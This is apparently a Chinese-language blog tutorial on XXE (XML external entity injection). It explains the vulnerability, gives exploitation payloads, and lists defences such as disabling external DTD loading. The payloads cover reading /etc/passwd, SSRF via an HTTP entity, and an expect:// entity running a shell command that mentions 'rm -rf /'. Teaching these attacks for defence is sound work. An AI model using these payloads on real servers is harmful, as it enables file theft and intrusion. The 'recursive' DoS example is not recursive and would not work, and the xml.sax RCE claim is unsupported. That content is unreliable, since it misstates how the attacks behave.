XXE漏洞

一、XXE简介与危害

XML概念

  •        XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XML与HTML的区别

  • XML被设计为传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。
  • HTML旨在显示信息,而XML旨在传输信息。

(1)pom.xml

(2)web.xml

(3)mybatis

XXE概念

      XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XXE危害

  • 任意文件读取‌:攻击者可以通过构造恶意的XML输入,利用XXE漏洞读取服务器上的任意文件,获取敏感信息‌。
  • 命令执行‌:攻击者可以利用XXE漏洞执行系统命令,进一步控制服务器或进行其他恶意操作‌。
  • 内网探测‌:通过XXE漏洞,攻击者可以探测内网的结构和开放的端口,为进一步的攻击做准备‌。
  • 攻击内网网站‌:攻击者可以利用XXE漏洞攻击内网的其他网站,扩大攻击范围和影响‌。
  • 拒绝服务攻击(DoS)‌:攻击者可以通过XXE漏洞发起拒绝服务攻击,使目标服务器崩溃或无法正常工作‌。
  • 服务器资源消耗‌:攻击者可以利用XXE漏洞消耗服务器资源,导致服务器性能下降或崩溃‌。

二、XXE漏洞利用 

1. 读取本地敏感文件

  • 通过定义 `SYSTEM` 实体指向本地文件(如 `/etc/passwd`、数据库配置文件等):
xml

<!DOCTYPE root [
  <!ENTITY system SYSTEM "file:///etc/passwd">
]>
<root>&system;</root>
  • 效果:解析器会读取并输出文件内容。

2. 远程内容注入(SSRF 攻击)

  • 通过 `HTTP` 实体触发服务器发起 HTTP 请求(需服务器允许外部请求):
xml

<!DOCTYPE root [
  <!ENTITY http SYSTEM "http://example.com/api">
]>
<root>&http;</root>
  • 效果:服务器会向 `example.com/api` 发送请求,攻击者可窃取响应数据。

3. 代码执行(需特定环境支持)

  • PHP + expect 模块:
 xml

  <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://echo 'rm -rf /'">
  ]>
  <root>&xxe;</root>
  •   效果:通过 `expect` 执行 Shell 命令(需 PHP 环境启用 `expect` 扩展)。

Python 解析漏洞(旧版本)

  •   利用 Python 的 `xml.sax` 解析器默认开启外部实体导致的 RCE。

4. 基于 DTD 的递归爆炸

  • 通过巨型 DTD 结构消耗服务器内存,引发 DoS:
xml
<!DOCTYPE root [
  <!ENTITY a "<root><a/></root>">
]>
<root>&a;</root>

三、防御措施

1. 禁用外部实体解析  
  • 在 XML 解析库中关闭 DTD 支持(如 Java 的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false))。
2. 过滤用户输入  
  • 验证并清理所有传入的 XML 数据,避免包含 `!ENTITY``!DOCTYPE`
3. 使用安全解析器  
  • 优先使用不支持外部实体的解析方式(如 JSON 替代 XML)。

注意:XXE 漏洞利用需在合法授权范围内测试,否则可能违反法律!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值